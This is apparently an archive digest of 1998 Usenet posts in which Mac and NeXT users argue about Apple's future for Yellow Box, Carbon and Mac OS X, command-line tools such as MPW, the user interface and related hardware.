Apple's crown jewel and that future development should use Carbon. A few
former NeXT engineers have reassured some of us in private that YellowBox is
Apple's future. Now, who do you believe, Steve Jobs and all of his direct
reports or a few engineers who are not privy to policy discussions ?
Scott Anguish has quoted Avie and others to the effect that YellowBox is the
future of Apple at some undefined distant time. Apple has never maintained
a consistent message or technology for even two years and neither did NeXT.
Why would a developer wait 18 months for the possibility of running
YellowBox applications on MacOS-X without standard system services or a CLI
or DisplayPoststcript etc. ? What makes anyone think Apple will not change
its plans between now and then and or slip the schedule ? Even if Apple
delivers everything promised on time, so what ? These things will not
appeal to anyone but a current MacOS user/bigot. There is nothing there of
interest to anyone else.
The number of active YellowBox developers is currently smaller than it has
been in 7 years. Apple either refuses to sell YellowBox/Openstep to some
fortune 100 companies or can not/will not provide information sufficient for
the generation of a purchase order. Apple has even directly told some
developers not to use YellowBox even if they want to do it now.
Taken as a whole, it is clear that Apple does not advocate YellowBox now or
at any specific time in the future and instead actively deprecates it.
YellowBox is dead. Don't waste your time with it.
Apple does keep a few engineers working on YellowBox. They are just hedging
their bets. There are exactly 2 engineers working part time on Interface
Builder and Project Builder. Those two tools constitute the entire IDE.
Does that sound like strong support ? The total number of Apple engineers
working on anything related to YellowBox is less than 30 and possibly less
than 10. Sure, there are lots of engineers working on Mach 3.0 kernels and
new display systems, and new networking, and new file system support, and
other things of direct support to Carbon. YellowBox is not even on the
radar screen of Apple executives. The money being spent on YellowBox
probably does not even show up in budgets it is so small. In fact, some of
my Fortune 100 customers spend more money each year on YellowBox than Apple
does.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 14 Jul 1998 13:40:26 GMT
Organization: I don't think so
Message-ID: <slrn6qmo5o.bvt.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <1dc5ara.kuxawe14pa101N@ip206.albnxr2.ras.tele.dk>
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Per Erik Rønne posted the following to comp.sys.mac.advocacy:
>> Does MkLinux (using the Mach 3 kernel) run on 603e's yet?
>With MkLinux, the old 6100/7100/8100 line of cumputers are better than
>the 603e line!
Why is this?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 09:16:11 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com>
In article <6oe13t$hm7$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>
> Apple isn't going to be selling off the Enterprise stuff.
>
> YB isn't going to be sold off, and it isn't dead. Not by a
> long shot.
>
> Geez, why do you people listen to Henry Norr?
Scott. there's an old saying that bears restating here:
"History repeats itself."
One doesn't have to listen to Henry Norr to see what's happening
to Yellow box, we've seen it countless times with other promising
but stillborn Apple technologies. The list is almost endless. Apple
touts some technology as the 'next big thing', then changes direction
and guess what? That next big thing gets left in the lurch. Jaguar,
Taligent, Pink, Copland, OpenDoc, QDGX, Newton, etc., etc., etc.
Remember "....Its called 'Carbon' and ALL lifeforms eminate from it."
Apple has two fundamental problems that they've never changed:
1) A revolving door of upper management whose 'dwell time' is
so short, that no projects ever get completed before the next
"team" comes in and reorganizes the company, changing
everything.
2) A management by consensus style in which people who have
no business even offering input to certain decision making
processes can kill the entire proceeding by just saying no.
Contrast this with Microsoft. Bill Gates has a STABLE group
of inner circle advisers (Steve Ballmer, Jeff Harbers, Jeff Raikes
etc.) who he trusts to help him to make all of the decisions. BUT
quite unlike at Apple where no one is driving the bus, GATES does
make all of the decisions! Some decisions might be wrong (Bob?),
but they stay the course.
Now lately, Jobs SEEMS to exercising some of that dictatorial
style at Apple. There is no doubt that most of the troops are
afraid of him, but Apple's corporate culture is one of "If we
don't agree with you, we just won't do it." This attitude has
underminded many an Apple opportunity to flourish, and a
corporate culture is like an individual's personality, NOT an
easy thing to change.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 09:30:58 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net>
In article <Josh.McKee-1307982024580001@pm3a3.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
>
> > You are forgetting that OS-8 will continue to be sold and supported in
> > parallel with OS-X. Anyone who's Power Mac won't run OS-X can run
OS-8.x, and
> > OS-8.x will run carbon-tuned apps. It just won't have protected
memory, and
> > PMT. If those are the features one wants, one will have to buy a G3 or a G4
> > machine to get them.
>
>
> Let me ask you this George, how do you know OS 8.x will run carbon tuned apps?
Jobs, at his WWDC presentation in May, talked about Sonata (the next major OS-8
(9?) upgrade after Allegro). He said that it would contain an extension
which would
allow it to run Carbon-tuned apps -only without PMT and memory protection.
George Graves
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where to go if Apple goofs?
Date: 14 Jul 1998 08:57:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6ofv4d$qsl@nntp02.primenet.com>
References: <1dc0rlf.ax5ey1w0wseyN@rhrz-isdn3-p25.rhrz.uni-bonn.de> <1998071301405900.VAA18145@ladder01.news.aol.com> <6oc22f$8m9@news.gdi.net> <6odfol$7qv$1@news.xmission.com> <6odhc8$aue@nntp02.primenet.com> <6odulr$lh3$6@lwnws01.ne.highway1.com>
<6oe2lc$8cs@nntp02.primenet.com> <6oeh72$672$2@lwnws01.ne.highway1.com>
John Kheit <jkheit@mediaone.net> wrote:
: I'm pretty unfamiliar with KDE so I couldn't say. I'm guessing that
: there were more people that had some familiarity with the tools and
: concepts involving KDE, though I may well be wrong about that. *STEP
: required a different thinking model that few bothered to actually commit
: to and get. Of those that did, many wonderful things sprang from an
: incredibly small number of folks. I could only imagine the wonders of
: *STEP (AKA Yellow Box technologies) hitting a critical mass; it's awe
: inspiring just to think of it.
I think it is a pretty good time to look at why things like KDE work. The
computer industry has a need for a "next big thing". For the last couple
years that has been Java, but its reign seems over (I retain some hope
that it will stay big, but it is certainly no longer next). I'm hardly
sure of what the next big thing will be, but I think Linux (et. al.) is a
contender. Two GUIs should come on line in the next six months
(www.gnome.org and www.kde.org) which should generate some interest. The
OS in general is moving amazingly fast. I'm not suggesting you run Linux,
just that you spare a couple hours to surf the sites and observe the
phenomena (www.slashdot.org and www.freshmeat.net are good places to
start).
Consider it a case study.
John
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 16:25:22 GMT
Organization: Indiana University, Bloomington
Message-ID: <6og0pi$2mv$1@flotsam.uits.indiana.edu>
References: <6n6a2e$21s$1@news.cmc.net> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com> <christian.bau-1407980951520001@christian-mac.isltd.insignia.com>
In article <christian.bau-1407980951520001@christian-mac.isltd.insignia.com>,
Christian Bau <christian.bau@isltd.insignia.com> wrote:
>MPW is the only CLI that I have ever used or that I have seen being used
>on the Macintosh in almost fourteen years. There is an MPW-wide concept of
>stdin and stdout, and an MPW-wide standard for CLI programs. That is
>enough.
>
>> Probably the most-used "CLIs" were the command line front-ends provided
>> with C compilers. Those allowed you to do a quick port of a UNIX program,
>> but didn't allow piping between programs or environment variables.
>
>Any C program compiled as an "MPW tool" automatically supports piping and
>environment variables.
This sounds pretty interesting. Can MPW tools also accept command line
parameters and return data on completion? Does it come with a Unix-like
cluster of utilities like head and tail and so on? Shell variables,
conditionals, loops, and other programming constructs to meet all your
scripting needs? You can redirect input/output from/to disk or pipe it
from/to other MPW tools?
If so, I might just try to find out more about it.
--
"Don't just do something, stand there!" - Buddha
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 11:32:42 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com>
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In-Reply-To: <6oefqn$5dm$1@lwnws01.ne.highway1.com>
On 14 Jul 1998, John Kheit wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > Which "purple barney UI" are you referring to?
>
> There's absolutely no value in getting into this. Nothing personal to you
> Joe, but this UI topic has been smashed out to death at this point for me.
> The direction is clear to me, though I hope I'm wrong, I, unfortunatly, doubt
> I am on this topic.
I think John is refering to the fact that Apple is not significantly
advancing or replacing the same old Mac OS UI. Mac OS X and Rhapsody don't
have any UI direction shifts. Little attempt was apparently made to
improve the Mac OS UI and the NeXT UI. At best, Apple is using some of the
better features from both, but isn't pushing any truly interesting and
useful, new concepts.
Rather than making the UI far better than anything else in the world, Mac
OS X still looks and behaves a lot like the original Mac OS. There are
better alternatives to nearly everything that is in the Mac OS that could
be implemented. Yes, the Mac OS UI is a lot better than Windows, but the
Windows UI is so bad that it's not very flattering to say that something
is better. ('Wow, your face looks a lot better than that moldy, bug
infested pile of dung over there!' That would be a good example of the
kind of comparison I'm talking about. :)
Then there's the fact that John doesn't seem to like purple. ;)
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:10:31 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABBB37.88352052@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odmus$fin@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Tim Triemstra <nospam@nospam.com> wrote:
> >
> >So, is there anything in print or on an official web site regarding
> >Yellow Box that has been possitive or forward thinking - that has been
> >published since the Carbon announcement? I can't find anything, and I
> >think I would be a flaming idiot to program for Yellow until there is
> >something to hear.
>
> Well, http://developer.apple.com/rhapsody/, last updated July 10, 1998,
>
> says "Rhapsody includes a breakthrough software development
> platform, code-named Yellow Box, for building new classes of
> reliable, media-rich and cross platform applications."
Kinda funny since that statement was there loooong before July 10. That
page doesn't look much different then it did many months ago. Also, at
the last WWDC didn't we hear alot of "no more 'box' codewords", yet no
new word for the YB API?
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Date: 14 Jul 1998 16:45:14 GMT
Organization: University of Illinois at Chicago
Message-ID: <6og1uq$ule$1@piglet.cc.uic.edu>
Maynard Handley (handleym@ricochet.net) wrote:
: You seem to be assuming that these chips are targetted at MacOS. In fact
: they are chips from IBM Rochester's AS/400 facility and will not be sold
: outside IBM. It is conceivable that one day this sort of facility will be
: added to the chips purchased by Apple but obviously in light of current
: MacOS limitations it makes no sense right now.
: After MacOS X debuts and we learn what it reall can and can't do,
: presumably Apple will be asking IBM and Moto for whatever new features
: they want in the next round of PPCs.
: Maynard
: --
: My opinion only
Actually, it's now a joint RS/6000 and AS/400 facility, and they
do sell the chips that come from there to Group Bull for use
in their AIX systems, or at least Group Bull OEMs machines that
use those chips. I would imagine they would sell the chips
to Apple if they wanted them, but since Apple doesn't exactly
need a 64 bit CPU capable of being used in large SMP systems
yet it's not an issue.
Anil
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 14 Jul 1998 17:11:57 GMT
Organization: Mechanist Industries
Message-ID: <6og3gt$eqq1@eccws1.dearborn.ford.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost>
taiQ (pit@iohk.SPAM-NOT.com) wrote:
: I bought my 20th Anniversary Mac (TAM) after all the signals from
: Apple leadership indicated that this model, along with "all (other)
: models shipping in or after Jan '97" would be Rhapsody-compatible;
: "Rhapsody" being the long-awaited modern OS with PMT, memory
: protection etc. that takes full use of the hardware.
<snip>
: Suddenly a couple of months ago altogether different statements made
: by Apple's leadership began to appear, indicating that the '97
: hardware designs wouldn't, after all, be compatible with the upcoming
: modern OS Rhapsody (now renamed Mac OS X). Huh?
You didn't listen to the announcements very closely.
Rhapsody 1.0 has been renamed to "MacOS X Server" and is still on
schedule for release later this year. Though it's not released
yet, the non-public developer release does, in fact, run on most
every system shipping since January 1997. This is unlikely to
change; if anything, it'll improve. Rhapsody 1.0 will have all
the features you mention.
On the other hand, Rhapsody 2.0 (now to be called "MacOS X") may
be a G3-only operating system. It's still not completely clear,
but there's a distinct possibility that it will leave behind many
of the systems sold in the past 19 months.
If you pay attention, you'll see that the announcements have no
relevance to the initial public release of Rhapsody; it's still
the same as it ever was, just renamed. Version 2.0 may be rather
different, but I don't think they ever promised a specific number
of revisions on January 1997 Macs.
Finally: Buying hardware based on promises of future software
releases is _never_ a good idea.
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"I can't remember why I like this feeling when it always seems to let
me down." - Gin Blossoms
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: 14 Jul 1998 17:45:48 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6og5gc$9ot$1@lwnws01.ne.highway1.com>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <6od270$vt9$1@ins8.netins.net> <jawed-1407982026560001@comlink.purger.or.jp>
jawed@comlink.purger.or.jp (Ahmad Jawed Hirobumi Atif) wrote:
> followup-to is set.
>
> I wonder if Superdisk a.k.a. LS-120 is worth getting excited about, as
> I've heard that it's slow (somewhat close to floppy at 60~80 kb/s?).
Doesn't seem anyworse than a parallel zip. You get 20 more megs and it can
read/write floppies (a cool laptop solution doing dual duty). Though the
sony 200mb superdisk sounds even cooler.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Subject: Re: Yellow Box future?
Newsgroups: comp.sys.next.advocacy
References: <35AA8501.CF6AAF27@nospam.com> <35AA658F.A2A2CFD@alum.mit.edu> <35ABC17A.AA9706EF@nospam.com>
In-Reply-To: <35ABC17A.AA9706EF@nospam.com>
From: not@my.address.net
Message-ID: <IWMq1.3731$24.21361155@news.itd.umich.edu>
Date: Tue, 14 Jul 1998 17:53:44 GMT
NNTP-Posting-Date: Tue, 14 Jul 1998 13:53:44 EDT
On 07/14/98, Tim Triemstra wrote:
>If Apple were completely commited to
>YB they would be advertising Carbon as the "conversion toolkit" that it
>is. Instead, they make it out to be to API of the future.
Maybe the concern is that people won't embrace your API if you disparage it.
--
invert: umich.edu jdevlin
insert: shift "2"
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Tue, 14 Jul 1998 19:51:31 +0200
Organization: Completely Disorganized
Message-ID: <1dc68cm.iow47n18uzlvaN@rhrz-isdn3-p59.rhrz.uni-bonn.de>
References: <6noi5p$2qg$1@news.cmc.net> <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <6ns8hl$a08$1@news.cmc.net> <Pine.OSF.3.92.980711035755.6516D-100000@pigeon.qut.edu.au> <6o6ud6$b37$1@news.cmc.net> <Pine.OSF.3.92.980711211945.17365C-100000@pigeon.qut.edu.au> <bgrubb-1107981623570001@lc180.zianet.com> <6odcgk$6ah@nntp02.primenet.com> <christian.bau-1407980951520001@christian-mac.isltd.insignia.com> <6og0pi$2mv$1@flotsam.uits.indiana.edu>
Mail-Copies-To: never
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
> This sounds pretty interesting. Can MPW tools also accept command line
> parameters and return data on completion? Does it come with a Unix-like
> cluster of utilities like head and tail and so on? Shell variables,
> conditionals, loops, and other programming constructs to meet all your
> scripting needs? You can redirect input/output from/to disk or pipe it
> from/to other MPW tools?
Yes. Though tools are not as numerous as on Unix, but a lot are
available -- most notably a version of MacPerl.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:59:27 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABC6AF.E076A460@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odtla$gjd$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Scott Anguish wrote:
>
> As I've now pointed out elsewhere, they are talking about it,
> you just don't see it printed everywhere, especially in the
> 'traditional' Macintosh sources.
Oh, good. Now I'm sooo relieved that they are talking about it in
private and where the mass public won't hear. The developers will be
coming out with software tomorrow now because of all this amazing
whispering. Duh! This is what I'm talking about! If you want new
software for Mac OSX when it is released you need people starting new
projects in the next few months. They won't start them using Yellow Box
if they have to schedule a meeting or go to a MacWorld expo to hear
anything about it!
> The Apple FAQ for Rhapsody is clear that its not in
> maintenance mode, and that it will be part of Mac OS X.
>
> http://gemma.apple.com/rhapsody/rhapfaq/rhaptechfaq.html
I think alot of people not familiar with development have a hard time
understanding the difference between what I consider "Yellow Box" and
NeXT technologies in general. I personally, perhaps innacurately,
consider Yellow Box to be an API and development environment. This is
probably wrong, but that is what I'm miffed about. The issues of
kernel, an SMP and all that stuff I'm very happy about Apple's pursuits
(of course Mach is basically free and they hardly needed to spend $400
million for BSD or Mach.) The API and InterfaceBuilder are what makes
NeXT so good! Nothin in these FAQs implies that these technologies are
being advanced, in what ways or if they will become the standard for
future OSs. When I compare Carbon to YB that is what I'm comparing
since both are built on the same core OS.
> Avie publically said good things at MacWorld about YB.
I didn't see anything on the Apple sites about what he said beyond the
kernel and memory protection things. Will Interface Builder be advanced
for Mac OSX? Will the Appkit portion of YB be the first API to be
upgraded with new technologies or will YB programmers have to wait for
wrappers around Carbon APIs?
> "From a technical perspective, we'll be evolving key Rhapsody
> technologies - such as the microkernel, file system, network
> architecture and more - to play a key role in the foundation of Mac OS
> X," he says.
Again, I'm sure Apple will end up with a robust OS. What I want to know
is, will the development environment be OO? Will it use Java or
ObjectiveC primarily (I'm tired of hearing "both" since I don't believe
Apple will support three languages and APIs.) Now that MetroWorks is
involved (a good company BTW) will InterfaceBuilder be used? If not,
are we going back to code generating IDEs?
> "One of the things that can be done with Rhapsody today, is to take
> all of the advance functions of the Yellow Box and expose as if native
> Java APIs," he says. "Developers can write in Java and develop Yellow
> Box applications. The Yellow Box will play an important role in our
> Java strategy. We'll have more to say about this in the fall time
> frame."
This is potentially the best way to go. Drop ObjectiveC, and go native
with Java. Drop Carbon except for porting purposes. Use
InterfaceBuilder for Swing or native YB controls. This would kick butt,
but how bout some actual plans. How can I develop for such a moving
target? Apple already took away my ability to run Intel Mach Rhapsody
in the future so what is a lowly developer to do? :)
> Yellow Box. Java. Carbon. How does a developer know which environment
> to use in application development?
>
> "Everyone wants simple answers to complex questions, but the choice is
> very dependent on the feature sets, schedules and platforms you're
> targeting," Bereskin says. "The Mac OS APIs are the life force of the
> Mac platform, and are important when targeting Mac applications today
> and in the future. So, the primary focus for Mac OS X is Carbon. When
> it comes to cross platform development, many tools are available. It's
> certainly the case that many developers are looking at Java to see if
> it meets their needs. In many instances, Java is now providing itself
> a viable platform. Yellow Box is also a viable tool for cross platform
> development."
This is where Apple's waffling comes in. This "it depends" crap is such
a shoveled load of crap. Apple knows it can't do them all, we all know
they can't. So, why talk like "you can do whatever you want" - this
just results in us doing nothin. Carbon should be a porting tool,
nothing more. If it is, you can kiss YB goodbye in my opinion. Noone
has ever done a decent job of supporting a good OO platform and a good C
platform at the same time. And they never will.
> Would they add this to the AppKit (Apple ToolKit) if YB was
> dead? Nope.
Its a wrapper to a core technology at the OS level that must be
supporting in the future anyway. Will the Appkit be the primary when a
new API comes out? That's what they have to answer and saying "they all
will" is just playing too many sides to be believed.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 14:12:12 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABC9AC.D93BB8D2@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <6oedop$9t21@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Michelle L. Buck wrote:
>
> >1) Is ObjectiveC actually going to be a/the primary development
> >environment for all "from scratch" programs by MacOS X's release?
> >
> Maybe, but probably NOT. Apple has not mentioned Objecive-C in public since
> Steve Jobs took control. If YellowBox is mentioned at all it is in the
> context of a "Java strategy".
This is exactly what has bothered me. How cn people in these newsgroups
talk about how they are confident that Yellow is still alive (as an API
or dev tool) when Apple won't even talk about which language it is
written in?
> >2) If not, do they intend to somehow wrap the API up in C++ or are they
> >going to just go to a complete JNI interface via Java (actually,
> >probably best long term solution - not byte code folks.)
> >
> The current Objective-C compiler is actually an Ojective-C++ compier.
> Objective-C and C++ can currently be mixed in a single language statement.
> There is no need to wrap the APIs and it would not make sense to even try.
To some degree wrapping is necessary. C++ can easily be called within
an ObjC program, but the opposite is not true. So, if they develop the
API in ObjectiveC, it is very hard to derive classes in C++ from the
ObjC structures. A good OO API (such as the Appkit is as I'm sure
you're aware) requires that inheritance be a core part of extending and
using the API. I personally believe that to carry this out well it will
be necessary to stick to one language for the primary API. We have a
large application which uses C++ for all database access (actually uses
an OO database) but it was not possible to mix C++ with ObjC in the UI
areas.
> You would be a flaming idiot to program for Yellow now. I have been a
> NeXTstep and then Openstep developer since 1988 with version 0.8. My
> company and my Fortune 100 clients are abandoning YellowBox as fast as
> possible. It is sad, but Yellow is dead. Apple has privately told my
> Fortune 100 clients as much. Apple actually recomended Windows NT and
> Developer Studio.
That's what I think too. I'm rewriting our last application (a biggie)
in a mix of Java and native code to finally get completely rid of
NeXTSTEP. Our DB vendor dumped NeXT support so we were unable to
upgrade the NeXT-based client to fix bugs, etc that were fixed to
subsequent releases of the database. We have been unable to buy
hardware supported very well by NeXT for a while now and the only
answers we can ever get from Apple are "Buy WebObjects." There are
still some of the best technologies in all of software development
buried in Apple, but I'm affraid they will all be swallowed up with this
hype of a stable os running on toasters. I'm not too sure many
developers will jump a lucritive Windows ship to program under Carbon
for these cute boxes. They may make Apple money for a few years, but
developers won't be flocking to them.
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Date: 14 Jul 1998 18:16:30 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6og79u$pg8$1@vixen.cso.uiuc.edu>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001
Michael Peck (Michael.Peck@ericsson.com) wrote:
: I daresay Henry Norr has seen a bit more of Apple's history than, say
: (off the top of my head), someone like Scott Anguish. Pretending to be
: the lone voice of reason sounds like so much naivete, coming from a
: relative newbie to the Apple culture.
I do believe that just a month or two ago, Scott took the opportunity to
answer similar statements by reminding the public of his prior career as a
Macintosh developer. If this was indeed him, your statements would be
considerably off-base.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 14 Jul 1998 17:32:18 GMT
Organization: the unstoppable code machine
Message-ID: <6og4n2$bpf$2@leonie.object-factory.com>
References: <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com>
<andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net>
<Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu>
<Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com>
<joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com>
<Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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Pulsar wrote:
> Then there's the fact that John doesn't seem to like purple. ;)
He's not alone. Purple is a very hostile color, and whoever came up with
the very idea should be hung down the pirate flagpole, head down.
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base of only 750,000 G3 systems?)
Date: Tue, 14 Jul 1998 20:37:51 +0100
Organization: DIKU
Message-ID: <1dc6ata.19owqti3h1hlN@ip70.albnxr1.ras.tele.dk>
